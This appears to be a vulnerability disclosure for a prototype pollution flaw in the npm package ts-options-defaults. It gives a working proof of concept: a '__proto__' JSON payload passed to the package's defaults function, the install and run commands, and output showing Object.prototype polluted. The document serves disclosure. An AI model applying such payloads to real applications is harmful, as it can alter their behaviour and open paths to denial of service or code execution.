Description

ts-options-defaults is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

1. Create the following PoC file:

// poc.js
var {defaults} = require("ts-options-defaults")
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
defaults(obj, payload);
console.log("After : " + {}.polluted);

2. Execute the following commands in another terminal:

npm i ts-options-defaults # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted